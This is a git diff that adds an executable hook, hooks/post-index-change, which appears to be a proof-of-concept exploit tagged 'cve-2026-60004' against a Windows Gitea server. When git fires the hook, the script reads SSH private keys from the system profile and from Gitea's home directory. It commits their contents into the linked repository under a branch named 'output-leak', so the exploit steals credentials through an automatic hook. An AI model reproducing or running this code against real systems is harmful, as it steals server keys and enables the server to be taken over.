diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..b130895
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,9 @@
+#!/bin/sh
+GD=$(git rev-parse --absolute-git-dir)
+REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
+OUT=$(ls /c/WINDOWS/system32/config/systemprofile/.ssh 2>&1; cat /c/WINDOWS/system32/config/systemprofile/.ssh/id_rsa 2>&1; cat /c/WINDOWS/system32/config/systemprofile/.ssh/id_ed25519 2>&1; echo ==; ls /c/Gitea/data/home/.ssh 2>&1; cat /c/Gitea/data/home/.ssh/id_rsa 2>&1 2>&1; echo "[exit-status=$?]")
+BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
+TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
+CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
+git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
+#A